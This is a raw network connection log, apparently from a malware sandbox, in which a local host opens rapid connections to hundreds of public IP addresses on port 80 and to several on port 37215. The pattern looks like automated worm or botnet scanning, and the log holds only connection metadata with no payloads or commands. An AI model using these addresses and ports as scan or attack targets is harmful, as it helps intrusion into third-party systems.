Dec 3, 2024 23:16:50.051872969 CET	40596	80	192.168.2.23	153.78.105.201
Dec 3, 2024 23:16:50.051878929 CET	40596	80	192.168.2.23	66.151.227.50
Dec 3, 2024 23:16:50.051886082 CET	40596	80	192.168.2.23	91.50.113.209
Dec 3, 2024 23:16:50.051886082 CET	40596	80	192.168.2.23	152.54.229.166
Dec 3, 2024 23:16:50.051898956 CET	40596	80	192.168.2.23	94.184.11.54
Dec 3, 2024 23:16:50.051901102 CET	40596	80	192.168.2.23	222.206.129.152
Dec 3, 2024 23:16:50.051911116 CET	40596	80	192.168.2.23	9.194.112.244
Dec 3, 2024 23:16:50.051918983 CET	40596	80	192.168.2.23	70.6.66.206
Dec 3, 2024 23:16:50.051923037 CET	40596	80	192.168.2.23	174.55.165.111
Dec 3, 2024 23:16:50.051939011 CET	40596	80	192.168.2.23	222.251.91.91
Dec 3, 2024 23:16:50.051940918 CET	40596	80	192.168.2.23	40.206.81.18
Dec 3, 2024 23:16:50.051944971 CET	40596	80	192.168.2.23	192.35.188.166
Dec 3, 2024 23:16:50.051958084 CET	40596	80	192.168.2.23	151.73.232.40
Dec 3, 2024 23:16:50.051965952 CET	40596	80	192.168.2.23	14.3.120.149
Dec 3, 2024 23:16:50.051965952 CET	40596	80	192.168.2.23	139.30.193.124
Dec 3, 2024 23:16:50.051968098 CET	40596	80	192.168.2.23	123.255.248.48
Dec 3, 2024 23:16:50.051969051 CET	40596	80	192.168.2.23	54.238.147.40
Dec 3, 2024 23:16:50.051970959 CET	40596	80	192.168.2.23	169.113.214.205
Dec 3, 2024 23:16:50.051990032 CET	40596	80	192.168.2.23	90.80.50.178
Dec 3, 2024 23:16:50.052001953 CET	40596	80	192.168.2.23	143.227.228.168
Dec 3, 2024 23:16:50.052002907 CET	40596	80	192.168.2.23	173.114.33.254
Dec 3, 2024 23:16:50.052009106 CET	40596	80	192.168.2.23	133.182.147.171
Dec 3, 2024 23:16:50.052017927 CET	40596	80	192.168.2.23	71.63.250.10
Dec 3, 2024 23:16:50.052018881 CET	40596	80	192.168.2.23	165.83.133.62
Dec 3, 2024 23:16:50.052026033 CET	40596	80	192.168.2.23	41.45.182.198
Dec 3, 2024 23:16:50.052031994 CET	40596	80	192.168.2.23	60.25.220.125
Dec 3, 2024 23:16:50.052033901 CET	40596	80	192.168.2.23	156.81.167.148
Dec 3, 2024 23:16:50.052037001 CET	40596	80	192.168.2.23	206.171.22.89
Dec 3, 2024 23:16:50.052053928 CET	40596	80	192.168.2.23	164.24.235.149
Dec 3, 2024 23:16:50.052054882 CET	40596	80	192.168.2.23	119.200.146.71
Dec 3, 2024 23:16:50.052057028 CET	40596	80	192.168.2.23	143.79.82.146
Dec 3, 2024 23:16:50.052062988 CET	40596	80	192.168.2.23	20.161.13.191
Dec 3, 2024 23:16:50.052063942 CET	40596	80	192.168.2.23	63.19.106.13
Dec 3, 2024 23:16:50.052073002 CET	40596	80	192.168.2.23	17.193.238.182
Dec 3, 2024 23:16:50.052079916 CET	40596	80	192.168.2.23	135.59.92.98
Dec 3, 2024 23:16:50.052092075 CET	40596	80	192.168.2.23	73.185.47.141
Dec 3, 2024 23:16:50.052093983 CET	40596	80	192.168.2.23	170.185.84.18
Dec 3, 2024 23:16:50.052094936 CET	40596	80	192.168.2.23	69.38.44.119
Dec 3, 2024 23:16:50.052112103 CET	40596	80	192.168.2.23	210.36.0.47
Dec 3, 2024 23:16:50.052115917 CET	40596	80	192.168.2.23	181.34.168.235
Dec 3, 2024 23:16:50.052119017 CET	40596	80	192.168.2.23	197.2.88.212
Dec 3, 2024 23:16:50.052120924 CET	40596	80	192.168.2.23	103.36.78.232
Dec 3, 2024 23:16:50.052139044 CET	40596	80	192.168.2.23	136.86.207.164
Dec 3, 2024 23:16:50.052140951 CET	40596	80	192.168.2.23	219.23.241.199
Dec 3, 2024 23:16:50.052140951 CET	40596	80	192.168.2.23	137.125.156.99
Dec 3, 2024 23:16:50.052140951 CET	40596	80	192.168.2.23	177.113.60.40
Dec 3, 2024 23:16:50.052144051 CET	40596	80	192.168.2.23	190.199.247.69
Dec 3, 2024 23:16:50.052145004 CET	40596	80	192.168.2.23	62.228.61.176
Dec 3, 2024 23:16:50.052171946 CET	40596	80	192.168.2.23	66.35.199.87
Dec 3, 2024 23:16:50.052171946 CET	40596	80	192.168.2.23	186.94.39.178
Dec 3, 2024 23:16:50.052172899 CET	40596	80	192.168.2.23	178.42.154.194
Dec 3, 2024 23:16:50.052175999 CET	40596	80	192.168.2.23	46.173.3.148
Dec 3, 2024 23:16:50.052175999 CET	40596	80	192.168.2.23	32.38.137.44
Dec 3, 2024 23:16:50.052181959 CET	40596	80	192.168.2.23	136.13.177.225
Dec 3, 2024 23:16:50.052181959 CET	40596	80	192.168.2.23	136.38.107.77
Dec 3, 2024 23:16:50.052184105 CET	40596	80	192.168.2.23	97.99.203.184
Dec 3, 2024 23:16:50.052184105 CET	40596	80	192.168.2.23	102.203.92.20
Dec 3, 2024 23:16:50.052186966 CET	40596	80	192.168.2.23	18.169.128.217
Dec 3, 2024 23:16:50.052189112 CET	40596	80	192.168.2.23	123.187.183.192
Dec 3, 2024 23:16:50.052190065 CET	40596	80	192.168.2.23	97.125.45.89
Dec 3, 2024 23:16:50.052192926 CET	40596	80	192.168.2.23	69.21.197.32
Dec 3, 2024 23:16:50.052196026 CET	40596	80	192.168.2.23	172.41.8.158
Dec 3, 2024 23:16:50.052211046 CET	40596	80	192.168.2.23	46.101.225.9
Dec 3, 2024 23:16:50.052213907 CET	40596	80	192.168.2.23	154.233.193.84
Dec 3, 2024 23:16:50.052218914 CET	40596	80	192.168.2.23	193.8.6.102
Dec 3, 2024 23:16:50.052229881 CET	40596	80	192.168.2.23	183.25.127.105
Dec 3, 2024 23:16:50.052236080 CET	40596	80	192.168.2.23	168.130.92.55
Dec 3, 2024 23:16:50.052237988 CET	40596	80	192.168.2.23	148.159.108.61
Dec 3, 2024 23:16:50.052237988 CET	40596	80	192.168.2.23	145.211.195.211
Dec 3, 2024 23:16:50.052242041 CET	40596	80	192.168.2.23	53.56.44.190
Dec 3, 2024 23:16:50.052242041 CET	40596	80	192.168.2.23	204.144.226.170
Dec 3, 2024 23:16:50.052242041 CET	40596	80	192.168.2.23	198.165.120.247
Dec 3, 2024 23:16:50.052253962 CET	40596	80	192.168.2.23	108.70.124.188
Dec 3, 2024 23:16:50.052265882 CET	40596	80	192.168.2.23	86.211.214.156
Dec 3, 2024 23:16:50.052270889 CET	40596	80	192.168.2.23	197.48.131.87
Dec 3, 2024 23:16:50.052277088 CET	40596	80	192.168.2.23	114.134.73.19
Dec 3, 2024 23:16:50.052278996 CET	40596	80	192.168.2.23	80.81.210.247
Dec 3, 2024 23:16:50.052282095 CET	40596	80	192.168.2.23	95.203.177.177
Dec 3, 2024 23:16:50.052283049 CET	40596	80	192.168.2.23	50.206.116.167
Dec 3, 2024 23:16:50.052283049 CET	40596	80	192.168.2.23	101.117.96.56
Dec 3, 2024 23:16:50.052284956 CET	40596	80	192.168.2.23	182.209.90.76
Dec 3, 2024 23:16:50.052288055 CET	40596	80	192.168.2.23	119.244.83.80
Dec 3, 2024 23:16:50.052301884 CET	40596	80	192.168.2.23	162.23.239.185
Dec 3, 2024 23:16:50.052304029 CET	40596	80	192.168.2.23	95.49.77.53
Dec 3, 2024 23:16:50.052309990 CET	40596	80	192.168.2.23	118.204.81.148
Dec 3, 2024 23:16:50.052320957 CET	40596	80	192.168.2.23	160.117.12.59
Dec 3, 2024 23:16:50.052328110 CET	40596	80	192.168.2.23	41.161.60.96
Dec 3, 2024 23:16:50.052330971 CET	40596	80	192.168.2.23	1.40.74.188
Dec 3, 2024 23:16:50.052334070 CET	40596	80	192.168.2.23	186.118.63.42
Dec 3, 2024 23:16:50.052350998 CET	40596	80	192.168.2.23	183.39.83.41
Dec 3, 2024 23:16:50.052351952 CET	40596	80	192.168.2.23	2.71.216.8
Dec 3, 2024 23:16:50.052351952 CET	40596	80	192.168.2.23	13.66.72.212
Dec 3, 2024 23:16:50.052351952 CET	40596	80	192.168.2.23	191.182.238.0
Dec 3, 2024 23:16:50.052352905 CET	40596	80	192.168.2.23	167.188.92.170
Dec 3, 2024 23:16:50.052360058 CET	40596	80	192.168.2.23	174.220.226.175
Dec 3, 2024 23:16:50.052367926 CET	40596	80	192.168.2.23	133.85.141.48
Dec 3, 2024 23:16:50.052376986 CET	40596	80	192.168.2.23	13.244.35.114
Dec 3, 2024 23:16:50.052385092 CET	40596	80	192.168.2.23	66.203.50.173
Dec 3, 2024 23:16:50.052385092 CET	40596	80	192.168.2.23	216.106.69.123
Dec 3, 2024 23:16:50.052386045 CET	40596	80	192.168.2.23	173.82.89.34
Dec 3, 2024 23:16:50.052402020 CET	40596	80	192.168.2.23	141.38.144.181
Dec 3, 2024 23:16:50.052403927 CET	40596	80	192.168.2.23	184.212.185.19
Dec 3, 2024 23:16:50.052418947 CET	40596	80	192.168.2.23	194.243.61.145
Dec 3, 2024 23:16:50.052422047 CET	40596	80	192.168.2.23	212.12.160.34
Dec 3, 2024 23:16:50.052429914 CET	40596	80	192.168.2.23	123.1.190.245
Dec 3, 2024 23:16:50.052444935 CET	40596	80	192.168.2.23	107.124.127.97
Dec 3, 2024 23:16:50.052459002 CET	40596	80	192.168.2.23	39.200.171.104
Dec 3, 2024 23:16:50.052459955 CET	40596	80	192.168.2.23	138.244.30.96
Dec 3, 2024 23:16:50.052467108 CET	40596	80	192.168.2.23	120.129.205.172
Dec 3, 2024 23:16:50.052480936 CET	40596	80	192.168.2.23	51.143.207.185
Dec 3, 2024 23:16:50.052486897 CET	40596	80	192.168.2.23	218.113.67.111
Dec 3, 2024 23:16:50.052489042 CET	40596	80	192.168.2.23	167.17.85.199
Dec 3, 2024 23:16:50.052489042 CET	40596	80	192.168.2.23	57.225.107.168
Dec 3, 2024 23:16:50.052489042 CET	40596	80	192.168.2.23	43.132.159.229
Dec 3, 2024 23:16:50.052505016 CET	40596	80	192.168.2.23	164.204.251.219
Dec 3, 2024 23:16:50.052508116 CET	40596	80	192.168.2.23	62.104.244.120
Dec 3, 2024 23:16:50.052508116 CET	40596	80	192.168.2.23	131.236.71.68
Dec 3, 2024 23:16:50.052510023 CET	40596	80	192.168.2.23	20.160.33.204
Dec 3, 2024 23:16:50.052510977 CET	40596	80	192.168.2.23	92.0.23.102
Dec 3, 2024 23:16:50.052529097 CET	40596	80	192.168.2.23	148.124.149.18
Dec 3, 2024 23:16:50.052529097 CET	40596	80	192.168.2.23	140.38.124.175
Dec 3, 2024 23:16:50.052531004 CET	40596	80	192.168.2.23	32.70.23.160
Dec 3, 2024 23:16:50.052544117 CET	40596	80	192.168.2.23	66.252.224.130
Dec 3, 2024 23:16:50.052547932 CET	40596	80	192.168.2.23	151.97.228.8
Dec 3, 2024 23:16:50.052550077 CET	40596	80	192.168.2.23	95.105.241.233
Dec 3, 2024 23:16:50.052567005 CET	40596	80	192.168.2.23	118.178.1.170
Dec 3, 2024 23:16:50.052567005 CET	40596	80	192.168.2.23	125.103.65.152
Dec 3, 2024 23:16:50.052567959 CET	40596	80	192.168.2.23	170.212.37.16
Dec 3, 2024 23:16:50.052567959 CET	40596	80	192.168.2.23	168.186.173.51
Dec 3, 2024 23:16:50.052576065 CET	40596	80	192.168.2.23	98.16.90.253
Dec 3, 2024 23:16:50.052587032 CET	40596	80	192.168.2.23	158.130.115.246
Dec 3, 2024 23:16:50.052592993 CET	40596	80	192.168.2.23	82.167.113.64
Dec 3, 2024 23:16:50.052594900 CET	40596	80	192.168.2.23	66.108.135.42
Dec 3, 2024 23:16:50.052601099 CET	40596	80	192.168.2.23	47.53.194.203
Dec 3, 2024 23:16:50.052603006 CET	40596	80	192.168.2.23	101.172.72.201
Dec 3, 2024 23:16:50.052618980 CET	40596	80	192.168.2.23	132.247.133.130
Dec 3, 2024 23:16:50.052619934 CET	40596	80	192.168.2.23	163.4.26.124
Dec 3, 2024 23:16:50.052623034 CET	40596	80	192.168.2.23	69.70.242.209
Dec 3, 2024 23:16:50.052627087 CET	40596	80	192.168.2.23	120.21.149.96
Dec 3, 2024 23:16:50.052644014 CET	40596	80	192.168.2.23	23.92.83.85
Dec 3, 2024 23:16:50.052644014 CET	40596	80	192.168.2.23	209.0.114.95
Dec 3, 2024 23:16:50.052651882 CET	40596	80	192.168.2.23	60.210.200.1
Dec 3, 2024 23:16:50.052655935 CET	40596	80	192.168.2.23	111.233.139.126
Dec 3, 2024 23:16:50.052670002 CET	40596	80	192.168.2.23	107.143.171.83
Dec 3, 2024 23:16:50.052670002 CET	40596	80	192.168.2.23	37.115.83.67
Dec 3, 2024 23:16:50.052674055 CET	40596	80	192.168.2.23	115.159.181.247
Dec 3, 2024 23:16:50.052687883 CET	40596	80	192.168.2.23	160.144.146.220
Dec 3, 2024 23:16:50.052690983 CET	40596	80	192.168.2.23	78.241.241.47
Dec 3, 2024 23:16:50.052691936 CET	40596	80	192.168.2.23	98.38.165.69
Dec 3, 2024 23:16:50.052709103 CET	40596	80	192.168.2.23	54.62.170.54
Dec 3, 2024 23:16:50.052709103 CET	40596	80	192.168.2.23	130.122.174.86
Dec 3, 2024 23:16:50.052709103 CET	40596	80	192.168.2.23	52.30.151.112
Dec 3, 2024 23:16:50.052711964 CET	40596	80	192.168.2.23	176.250.174.173
Dec 3, 2024 23:16:50.052726030 CET	40596	80	192.168.2.23	139.86.25.193
Dec 3, 2024 23:16:50.052730083 CET	40596	80	192.168.2.23	41.183.148.28
Dec 3, 2024 23:16:50.052735090 CET	40596	80	192.168.2.23	19.230.242.112
Dec 3, 2024 23:16:50.052736044 CET	40596	80	192.168.2.23	183.153.223.78
Dec 3, 2024 23:16:50.052757978 CET	40596	80	192.168.2.23	134.207.77.95
Dec 3, 2024 23:16:50.052757978 CET	40596	80	192.168.2.23	72.86.11.81
Dec 3, 2024 23:16:50.052757978 CET	40596	80	192.168.2.23	141.81.14.143
Dec 3, 2024 23:16:50.052763939 CET	40596	80	192.168.2.23	60.89.234.151
Dec 3, 2024 23:16:50.052767038 CET	40596	80	192.168.2.23	12.16.232.158
Dec 3, 2024 23:16:50.052767038 CET	40596	80	192.168.2.23	75.130.82.31
Dec 3, 2024 23:16:50.052767992 CET	40596	80	192.168.2.23	1.39.139.206
Dec 3, 2024 23:16:50.052767038 CET	40596	80	192.168.2.23	109.17.115.73
Dec 3, 2024 23:16:50.052772999 CET	40596	80	192.168.2.23	188.127.226.73
Dec 3, 2024 23:16:50.052778006 CET	40596	80	192.168.2.23	32.186.5.110
Dec 3, 2024 23:16:50.052792072 CET	40596	80	192.168.2.23	142.242.149.234
Dec 3, 2024 23:16:50.052794933 CET	40596	80	192.168.2.23	201.119.97.133
Dec 3, 2024 23:16:50.052810907 CET	40596	80	192.168.2.23	105.12.26.21
Dec 3, 2024 23:16:50.052812099 CET	40596	80	192.168.2.23	170.113.199.237
Dec 3, 2024 23:16:50.052812099 CET	40596	80	192.168.2.23	202.109.255.176
Dec 3, 2024 23:16:50.052819014 CET	40596	80	192.168.2.23	196.221.84.72
Dec 3, 2024 23:16:50.052834988 CET	40596	80	192.168.2.23	81.176.206.11
Dec 3, 2024 23:16:50.052839994 CET	40596	80	192.168.2.23	53.156.208.106
Dec 3, 2024 23:16:50.052839994 CET	40596	80	192.168.2.23	63.219.227.218
Dec 3, 2024 23:16:50.052855015 CET	40596	80	192.168.2.23	35.168.120.182
Dec 3, 2024 23:16:50.052858114 CET	40596	80	192.168.2.23	149.174.79.113
Dec 3, 2024 23:16:50.052860022 CET	40596	80	192.168.2.23	152.171.246.103
Dec 3, 2024 23:16:50.052865028 CET	40596	80	192.168.2.23	125.112.65.83
Dec 3, 2024 23:16:50.052881956 CET	40596	80	192.168.2.23	123.215.116.116
Dec 3, 2024 23:16:50.052887917 CET	40596	80	192.168.2.23	193.28.128.213
Dec 3, 2024 23:16:50.052889109 CET	40596	80	192.168.2.23	72.125.222.95
Dec 3, 2024 23:16:50.052890062 CET	40596	80	192.168.2.23	109.144.69.193
Dec 3, 2024 23:16:50.052890062 CET	40596	80	192.168.2.23	182.159.34.215
Dec 3, 2024 23:16:50.052894115 CET	40596	80	192.168.2.23	5.129.251.99
Dec 3, 2024 23:16:50.052901983 CET	40596	80	192.168.2.23	174.203.39.54
Dec 3, 2024 23:16:50.052911043 CET	40596	80	192.168.2.23	202.43.115.77
Dec 3, 2024 23:16:50.052917957 CET	40596	80	192.168.2.23	8.12.75.56
Dec 3, 2024 23:16:50.052918911 CET	40596	80	192.168.2.23	67.170.211.12
Dec 3, 2024 23:16:50.052926064 CET	40596	80	192.168.2.23	99.188.246.215
Dec 3, 2024 23:16:50.052933931 CET	40596	80	192.168.2.23	27.182.243.56
Dec 3, 2024 23:16:50.052938938 CET	40596	80	192.168.2.23	73.236.56.19
Dec 3, 2024 23:16:50.052939892 CET	40596	80	192.168.2.23	48.34.42.40
Dec 3, 2024 23:16:50.052947044 CET	40596	80	192.168.2.23	216.147.84.204
Dec 3, 2024 23:16:50.052958012 CET	40596	80	192.168.2.23	184.223.173.53
Dec 3, 2024 23:16:50.052967072 CET	40596	80	192.168.2.23	162.217.251.150
Dec 3, 2024 23:16:50.052967072 CET	40596	80	192.168.2.23	162.44.180.234
Dec 3, 2024 23:16:50.052968025 CET	40596	80	192.168.2.23	57.235.251.88
Dec 3, 2024 23:16:50.052980900 CET	40596	80	192.168.2.23	117.135.35.65
Dec 3, 2024 23:16:50.052985907 CET	40596	80	192.168.2.23	119.144.229.64
Dec 3, 2024 23:16:50.052995920 CET	40596	80	192.168.2.23	135.254.214.255
Dec 3, 2024 23:16:50.052999973 CET	40596	80	192.168.2.23	31.121.183.99
Dec 3, 2024 23:16:50.053011894 CET	40596	80	192.168.2.23	54.196.112.241
Dec 3, 2024 23:16:50.053013086 CET	40596	80	192.168.2.23	84.247.154.209
Dec 3, 2024 23:16:50.053014040 CET	40596	80	192.168.2.23	72.24.163.211
Dec 3, 2024 23:16:50.053021908 CET	40596	80	192.168.2.23	106.232.251.213
Dec 3, 2024 23:16:50.053025961 CET	40596	80	192.168.2.23	118.96.106.90
Dec 3, 2024 23:16:50.053036928 CET	40596	80	192.168.2.23	62.140.215.204
Dec 3, 2024 23:16:50.053046942 CET	40596	80	192.168.2.23	154.42.14.19
Dec 3, 2024 23:16:50.053046942 CET	40596	80	192.168.2.23	134.89.107.149
Dec 3, 2024 23:16:50.053057909 CET	40596	80	192.168.2.23	100.230.48.230
Dec 3, 2024 23:16:50.053062916 CET	40596	80	192.168.2.23	135.219.161.13
Dec 3, 2024 23:16:50.053067923 CET	40596	80	192.168.2.23	103.83.124.200
Dec 3, 2024 23:16:50.053071976 CET	40596	80	192.168.2.23	83.147.195.65
Dec 3, 2024 23:16:50.053086996 CET	40596	80	192.168.2.23	160.50.24.98
Dec 3, 2024 23:16:50.053095102 CET	40596	80	192.168.2.23	197.45.112.148
Dec 3, 2024 23:16:50.053096056 CET	40596	80	192.168.2.23	73.130.57.44
Dec 3, 2024 23:16:50.053107023 CET	40596	80	192.168.2.23	60.197.36.82
Dec 3, 2024 23:16:50.053112984 CET	40596	80	192.168.2.23	178.92.38.248
Dec 3, 2024 23:16:50.053112984 CET	40596	80	192.168.2.23	136.228.236.181
Dec 3, 2024 23:16:50.053132057 CET	40596	80	192.168.2.23	205.18.37.143
Dec 3, 2024 23:16:50.053137064 CET	40596	80	192.168.2.23	179.97.74.42
Dec 3, 2024 23:16:50.053138018 CET	40596	80	192.168.2.23	51.230.67.208
Dec 3, 2024 23:16:50.053142071 CET	40596	80	192.168.2.23	17.134.42.168
Dec 3, 2024 23:16:50.053157091 CET	40596	80	192.168.2.23	78.79.221.104
Dec 3, 2024 23:16:50.053162098 CET	40596	80	192.168.2.23	145.219.156.70
Dec 3, 2024 23:16:50.053164005 CET	40596	80	192.168.2.23	8.198.130.138
Dec 3, 2024 23:16:50.053181887 CET	40596	80	192.168.2.23	160.152.99.108
Dec 3, 2024 23:16:50.053183079 CET	40596	80	192.168.2.23	57.193.35.194
Dec 3, 2024 23:16:50.053190947 CET	40596	80	192.168.2.23	124.68.223.204
Dec 3, 2024 23:16:50.053190947 CET	40596	80	192.168.2.23	150.66.218.76
Dec 3, 2024 23:16:50.053194046 CET	40596	80	192.168.2.23	221.76.109.141
Dec 3, 2024 23:16:50.053194046 CET	40596	80	192.168.2.23	65.63.72.33
Dec 3, 2024 23:16:50.053198099 CET	40596	80	192.168.2.23	136.162.127.233
Dec 3, 2024 23:16:50.053200006 CET	40596	80	192.168.2.23	119.219.68.2
Dec 3, 2024 23:16:50.053203106 CET	40596	80	192.168.2.23	184.36.159.29
Dec 3, 2024 23:16:50.053211927 CET	40596	80	192.168.2.23	158.178.171.128
Dec 3, 2024 23:16:50.053220987 CET	40596	80	192.168.2.23	94.106.97.104
Dec 3, 2024 23:16:50.053227901 CET	40596	80	192.168.2.23	115.165.228.179
Dec 3, 2024 23:16:50.053230047 CET	40596	80	192.168.2.23	172.112.83.133
Dec 3, 2024 23:16:50.053230047 CET	40596	80	192.168.2.23	164.146.18.182
Dec 3, 2024 23:16:50.053231001 CET	40596	80	192.168.2.23	185.249.191.126
Dec 3, 2024 23:16:50.053248882 CET	40596	80	192.168.2.23	75.232.2.200
Dec 3, 2024 23:16:50.053250074 CET	40596	80	192.168.2.23	182.202.223.10
Dec 3, 2024 23:16:50.053251028 CET	40596	80	192.168.2.23	60.46.51.210
Dec 3, 2024 23:16:50.053253889 CET	40596	80	192.168.2.23	23.21.38.145
Dec 3, 2024 23:16:50.053253889 CET	40596	80	192.168.2.23	175.195.20.167
Dec 3, 2024 23:16:50.053261042 CET	40596	80	192.168.2.23	34.246.67.154
Dec 3, 2024 23:16:50.053271055 CET	40596	80	192.168.2.23	120.229.53.105
Dec 3, 2024 23:16:50.053277016 CET	40596	80	192.168.2.23	145.84.84.106
Dec 3, 2024 23:16:50.053277969 CET	40596	80	192.168.2.23	4.220.236.68
Dec 3, 2024 23:16:50.053288937 CET	40596	80	192.168.2.23	201.18.14.112
Dec 3, 2024 23:16:50.053288937 CET	40596	80	192.168.2.23	148.101.137.119
Dec 3, 2024 23:16:50.053293943 CET	40596	80	192.168.2.23	63.18.226.121
Dec 3, 2024 23:16:50.053308010 CET	40596	80	192.168.2.23	63.249.76.44
Dec 3, 2024 23:16:50.053308010 CET	40596	80	192.168.2.23	172.146.3.29
Dec 3, 2024 23:16:50.053309917 CET	40596	80	192.168.2.23	159.172.101.219
Dec 3, 2024 23:16:50.053322077 CET	40596	80	192.168.2.23	12.162.216.160
Dec 3, 2024 23:16:50.053322077 CET	40596	80	192.168.2.23	159.170.94.159
Dec 3, 2024 23:16:50.053330898 CET	40596	80	192.168.2.23	131.143.29.211
Dec 3, 2024 23:16:50.053340912 CET	40596	80	192.168.2.23	85.241.140.105
Dec 3, 2024 23:16:50.053345919 CET	40596	80	192.168.2.23	210.102.204.100
Dec 3, 2024 23:16:50.054017067 CET	41526	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:50.054033995 CET	41526	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:50.054359913 CET	42014	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:50.054733992 CET	41216	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:50.054733992 CET	41216	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:50.055017948 CET	41702	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:50.055140018 CET	36652	80	192.168.2.23	2.31.19.249
Dec 3, 2024 23:16:50.055143118 CET	44452	80	192.168.2.23	163.98.215.184
Dec 3, 2024 23:16:50.055143118 CET	36606	80	192.168.2.23	95.62.186.222
Dec 3, 2024 23:16:50.055144072 CET	58224	80	192.168.2.23	83.9.13.122
Dec 3, 2024 23:16:50.055150986 CET	46944	80	192.168.2.23	39.182.226.45
Dec 3, 2024 23:16:50.055150986 CET	48738	80	192.168.2.23	221.121.252.179
Dec 3, 2024 23:16:50.055166006 CET	42510	80	192.168.2.23	206.75.216.146
Dec 3, 2024 23:16:50.055166006 CET	45804	80	192.168.2.23	52.61.181.250
Dec 3, 2024 23:16:50.055175066 CET	44954	80	192.168.2.23	186.233.149.159
Dec 3, 2024 23:16:50.055175066 CET	35458	80	192.168.2.23	8.178.80.133
Dec 3, 2024 23:16:50.055175066 CET	40246	80	192.168.2.23	54.121.203.185
Dec 3, 2024 23:16:50.055175066 CET	40158	80	192.168.2.23	118.75.66.207
Dec 3, 2024 23:16:50.055177927 CET	34326	80	192.168.2.23	206.250.179.71
Dec 3, 2024 23:16:50.055185080 CET	51556	80	192.168.2.23	65.134.120.240
Dec 3, 2024 23:16:50.055185080 CET	45140	80	192.168.2.23	2.3.255.80
Dec 3, 2024 23:16:50.055186987 CET	60198	80	192.168.2.23	193.4.84.215
Dec 3, 2024 23:16:50.055195093 CET	33472	80	192.168.2.23	150.98.153.129
Dec 3, 2024 23:16:50.055206060 CET	52862	80	192.168.2.23	78.175.166.148
Dec 3, 2024 23:16:50.055428982 CET	58364	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:50.055428982 CET	58364	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:50.055701971 CET	58850	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:50.056056023 CET	41030	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:50.056056023 CET	41030	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:50.056337118 CET	41516	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:50.056701899 CET	60208	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:50.056701899 CET	60208	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:50.056979895 CET	60694	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:50.057352066 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:50.057352066 CET	60312	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:50.057636976 CET	60796	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:50.099595070 CET	37215	35176	41.171.44.196	192.168.2.23
Dec 3, 2024 23:16:50.099668980 CET	35176	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.099833012 CET	35176	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.099833012 CET	35176	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.100131989 CET	35214	37215	192.168.2.23	41.171.44.196
Dec 3, 2024 23:16:50.100228071 CET	37215	49248	197.173.204.9	192.168.2.23
Dec 3, 2024 23:16:50.100267887 CET	49248	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.100534916 CET	49248	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.100534916 CET	49248	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.100836992 CET	37215	52614	41.238.72.229	192.168.2.23
Dec 3, 2024 23:16:50.100842953 CET	49286	37215	192.168.2.23	197.173.204.9
Dec 3, 2024 23:16:50.100877047 CET	52614	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.101233959 CET	52614	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.101234913 CET	52614	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.101392984 CET	37215	55748	197.79.45.182	192.168.2.23
Dec 3, 2024 23:16:50.101433039 CET	55748	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.101507902 CET	52652	37215	192.168.2.23	41.238.72.229
Dec 3, 2024 23:16:50.101862907 CET	37215	52214	197.168.254.205	192.168.2.23
Dec 3, 2024 23:16:50.101902008 CET	52214	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:50.101917982 CET	55748	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.101917982 CET	55748	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.102199078 CET	55786	37215	192.168.2.23	197.79.45.182
Dec 3, 2024 23:16:50.102586985 CET	52214	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:50.102586985 CET	52214	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:50.102929115 CET	52252	37215	192.168.2.23	197.168.254.205
Dec 3, 2024 23:16:50.106312037 CET	37215	35412	197.99.145.0	192.168.2.23
Dec 3, 2024 23:16:50.115278959 CET	37215	44632	156.133.165.115	192.168.2.23
Dec 3, 2024 23:16:50.115463018 CET	37215	44668	156.133.165.115	192.168.2.23
Dec 3, 2024 23:16:50.115518093 CET	44668	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:50.115699053 CET	44668	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:50.151875973 CET	37215	35412	197.99.145.0	192.168.2.23
Dec 3, 2024 23:16:50.155942917 CET	37215	44632	156.133.165.115	192.168.2.23
Dec 3, 2024 23:16:50.175457001 CET	80	40596	168.200.219.64	192.168.2.23
Dec 3, 2024 23:16:50.175492048 CET	80	40596	209.58.154.1	192.168.2.23
Dec 3, 2024 23:16:50.175501108 CET	80	40596	107.228.249.17	192.168.2.23
Dec 3, 2024 23:16:50.175520897 CET	80	40596	166.27.48.146	192.168.2.23
Dec 3, 2024 23:16:50.175535917 CET	80	40596	74.248.70.53	192.168.2.23
Dec 3, 2024 23:16:50.175545931 CET	80	40596	87.101.119.206	192.168.2.23
Dec 3, 2024 23:16:50.175554991 CET	80	40596	81.193.189.217	192.168.2.23
Dec 3, 2024 23:16:50.175656080 CET	40596	80	192.168.2.23	107.228.249.17
Dec 3, 2024 23:16:50.175678968 CET	40596	80	192.168.2.23	87.101.119.206
